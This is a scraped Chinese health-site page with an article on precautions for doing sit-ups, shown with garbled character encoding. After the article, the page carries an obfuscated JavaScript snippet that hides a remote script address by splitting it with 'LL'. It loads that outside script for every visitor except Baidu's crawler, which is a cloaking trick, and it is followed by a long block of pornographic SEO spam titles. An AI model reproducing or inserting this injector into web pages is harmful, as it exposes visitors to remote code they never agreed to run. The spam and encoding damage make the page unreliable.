<label id="xjztt"></label>
<rt id="xjztt"></rt>
  • <thead id="xjztt"></thead>
    <label id="xjztt"></label>

      <label id="xjztt"></label>
      <rt id="xjztt"></rt>

      <span id="xjztt"></span>
      當(dāng)前位置:首頁(yè) > 健康 > 運(yùn)動(dòng)健身 > 正文

      練仰臥起坐時(shí)的注意事項(xiàng)有哪些?

      2017-04-15 23:01:31  來源:360常識(shí)網(wǎng)   熱度:
      導(dǎo)語(yǔ):生活中很多人不滿自己小腹上有贅肉,所以會(huì)采取一些運(yùn)動(dòng)進(jìn)行減肥,而仰臥起坐就是人們常選擇的方法。不過很多人會(huì)發(fā)現(xiàn)雖然自己每天都在做仰

      生活中很多人不滿自己小腹上有贅肉,所以會(huì)采取一些運(yùn)動(dòng)進(jìn)行減肥,而仰臥起坐就是人們常選擇的方法。不過很多人會(huì)發(fā)現(xiàn)雖然自己每天都在做仰臥起坐,但是效果卻不顯著。之所以會(huì)出現(xiàn)這種現(xiàn)象是因?yàn)榇蠹易鲅雠P起坐的方法不正確,沒有掌握到精髓,那么在做仰臥起坐的時(shí)候,我們需要注意哪些事情呢?

      仰臥起坐的注意事項(xiàng):

      1.逐漸增加仰臥起坐反復(fù)次數(shù)

      對(duì)于一位剛開始以仰臥起坐來訓(xùn)練腹部肌肉的參與者而言,每次仰臥起坐的次數(shù)以不超過10個(gè)反覆為原則

      ,每完成一次的仰臥起坐后,應(yīng)站起或躺下休息,讓腹部肌肉能夠放松10分鐘以上。

      2.慢慢進(jìn)行仰臥起坐

      主要是以腹部肌肉的耐力為訓(xùn)練目標(biāo),因此,只有慢慢進(jìn)行仰臥起坐的運(yùn)動(dòng)方式,比較能夠確實(shí)訓(xùn)練腹肌的耐力。

      3.仰臥起坐的動(dòng)作

      人體上腹部的肌肉,主要有腹直肌、腹外斜肌與腹內(nèi)斜肌。因此,如果仰臥起坐的動(dòng)作,都是以上半身在矢狀面

      上的動(dòng)作進(jìn)行時(shí),腹外斜肌與腹內(nèi)斜肌的訓(xùn)練效果會(huì)受到明顯的限制,只有增加身體縱軸 旋轉(zhuǎn)的動(dòng)作,才可以避免腹肌訓(xùn)練的不協(xié)調(diào)狀態(tài)。

      除了上半身的動(dòng)作以外,為了避免仰臥起坐過程中,下腹部屈曲髖關(guān)節(jié)肌肉的負(fù)荷過大,進(jìn)行仰臥起坐時(shí)應(yīng)屈曲膝關(guān)節(jié)。但是,在這種仰臥屈膝的姿勢(shì)下進(jìn)行仰臥起坐訓(xùn)練后,反而會(huì)限制到下腹部肌肉的訓(xùn)練效果。因此,對(duì)于以下腹贅肉為主要訓(xùn)練部位的中年男女而言,

      適當(dāng)進(jìn)行屈膝抬腿的動(dòng)作,比較能夠確實(shí)訓(xùn)練下腹部的肌肉,達(dá)成訓(xùn)練腹部肌肉的目的。

      在我們的生活中很多減肥方法比如說仰臥起坐,之所以沒有達(dá)到人們想要的結(jié)果,是因?yàn)槲覀儧]有掌握方法,不了解在進(jìn)行運(yùn)動(dòng)的時(shí)候需要注意哪些事情。如果以后你仍選擇仰臥起坐作為減小腹的運(yùn)動(dòng)方法的話,現(xiàn)在就多關(guān)注一下小編的文章吧!

      轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
      ?
      if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
      主站蜘蛛池模板: 五月六月综合欧美网站| 亚洲小说图区综合在线| 99久久婷婷免费国产综合精品| 高清欧美色欧美综合网站| 久久综合九色综合久99| 久久综合综合久久狠狠狠97色88| 激情五月激情综合网| 狠狠色伊人亚洲综合成人 | 综合国产在线观看无码| 色欲久久久天天天综合网| 色狠台湾色综合网站| 亚洲国产综合无码一区二区二三区| 天天做天天爱天天综合网2021| 99久久亚洲综合精品成人| 久久综合成人网| 亚洲综合日韩久久成人AV| 狠狠色丁香婷婷久久综合| 久久综合欧美成人| 国产精品综合AV一区二区国产馆| 国产成人综合一区精品| 久久综合狠狠色综合伊人| 一本色道久久综合狠狠躁篇 | 激情综合色五月丁香六月亚洲 | 熟女少妇色综合图区| 一本一道久久综合狠狠老 | 亚洲欧美成人久久综合中文网| 伊人色综合久久天天人手人婷| 久久综合给合久久国产免费 | 久久91精品久久91综合| 色综合天天综合网国产成人网| 色综合视频一区二区三区| 婷婷综合久久狠狠色99h| 91成人亚洲综合欧美日韩| 丁香婷婷综合网| 欧美久久综合九色综合| 亚洲偷自拍拍综合网| 亚洲国产综合人成综合网站| 亚洲欧美日韩综合一区| 色爱无码AV综合区| 国产成人亚洲综合一区| 久久综合久久综合久久|